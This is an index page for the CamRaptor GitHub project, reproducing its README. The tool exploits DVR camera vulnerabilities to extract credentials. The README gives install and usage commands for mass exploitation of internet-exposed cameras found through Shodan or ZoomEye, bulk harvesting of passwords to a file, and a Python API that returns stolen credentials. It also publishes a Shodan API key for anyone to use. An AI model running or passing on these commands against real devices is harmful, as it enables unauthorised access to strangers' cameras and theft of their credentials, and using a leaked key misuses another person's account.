Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/EntySec/CamRaptor
CamRaptor is a tool that exploits several vulnerabilities in popular DVR cameras to obtain network camera credentials.
https://github.com/EntySec/CamRaptor
camera camera-hacking entysec exploit iot kalilinux payload
Last synced: 22 days ago
JSON representation
CamRaptor is a tool that exploits several vulnerabilities in popular DVR cameras to obtain network camera credentials.
- Host: GitHub
- URL: https://github.com/EntySec/CamRaptor
- Owner: EntySec
- License: mit
- Created: 2021-06-01T19:22:03.000Z (over 3 years ago)
- Default Branch: main
- Last Pushed: 2024-07-17T23:07:58.000Z (5 months ago)
- Last Synced: 2024-08-05T17:45:02.584Z (4 months ago)
- Topics: camera, camera-hacking, entysec, exploit, iot, kalilinux, payload
- Language: Python
- Homepage: https://entysec.com
- Size: 114 KB
- Stars: 209
- Watchers: 7
- Forks: 32
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- Contributing: CONTRIBUTING.md
- License: LICENSE
- Code of conduct: CODE_OF_CONDUCT.md
Awesome Lists containing this project
- awesome-hacking-lists - EntySec/CamRaptor - CamRaptor is a tool that exploits several vulnerabilities in popular DVR cameras to obtain network camera credentials. (Python)
README
# CamRaptor
[](https://entysec.com)
[](https://github.com/EntySec/CamRaptor)
[](https://github.com/EntySec/CamRaptor/forks)
[](https://github.com/EntySec/CamRaptor/stargazers)
[](https://www.codefactor.io/repository/github/EntySec/CamRaptor)
CamRaptor is a tool that exploits several vulnerabilities in popular DVR cameras to obtain network camera credentials.
## Features
* Exploits vulnerabilities in most popular camera models such as `Novo`, `CeNova` and `QSee`.
* Optimized to exploit multiple cameras at one time from list with threading enabled.
* Simple CLI and API usage.
## Installation
```shell
pip3 install git+https://github.com/EntySec/CamRaptor
```
## Basic usage
To use CamRaptor just type `camraptor` in your terminal.
```
usage: camraptor [-h] [-t] [-o OUTPUT] [-i INPUT] [-a ADDRESS]
[--shodan SHODAN] [--zoomeye ZOOMEYE] [-p PAGES]
CamRaptor is a tool that exploits several vulnerabilities in popular DVR
cameras to obtain network camera credentials.
optional arguments:
-h, --help show this help message and exit
-t, --threads Use threads for fastest work.
-o OUTPUT, --output OUTPUT
Output result to file.
-i INPUT, --input INPUT
Input file of addresses.
-a ADDRESS, --address ADDRESS
Single address.
--shodan SHODAN Shodan API key for exploiting devices over Internet.
--zoomeye ZOOMEYE ZoomEye API key for exploiting devices over Internet.
-p PAGES, --pages PAGES
Number of pages you want to get from ZoomEye.
```
### Examples
**Exploiting single camera**
Let's hack my camera just for fun.
```shell
camraptor -a 192.168.99.100
```
**Exploiting cameras from Internet**
Let's try to use Shodan search engine to exploit cameras over Internet, we will use it with `-t` for fast exploitation.
```shell
camraptor -t --shodan PSKINdQe1GyxGgecYz2191H2JoS9qvgD
```
**NOTE:** Given Shodan API key (`PSKINdQe1GyxGgecYz2191H2JoS9qvgD`) is my PRO API key, you can use this key or your own, be free to use all our resources for free :)
**Exploiting cameras from input file**
Let's try to use opened database of cameras with `-t` for fast exploitation.
```shell
camraptor -t -i cameras.txt -o passwords.txt
```
**NOTE:** It will exploit all cameras in `cameras.txt` list by their addresses and save all obtained passwords to `passwords.txt`.
## API usage
CamRaptor also has their own Python API that can be invoked by importing CamRaptor to your code.
```python
from camraptor import CamRaptor
```
### Basic functions
There are all CamRaptor basic functions that can be used to exploit specified camera.
* `exploit(address)` - Exploit single camera by given address.
### Examples
**Exploiting single camera**
```python
from camraptor import CamRaptor
camraptor = CamRaptor()
creds = camraptor.exploit('192.168.99.100')
print(creds)
```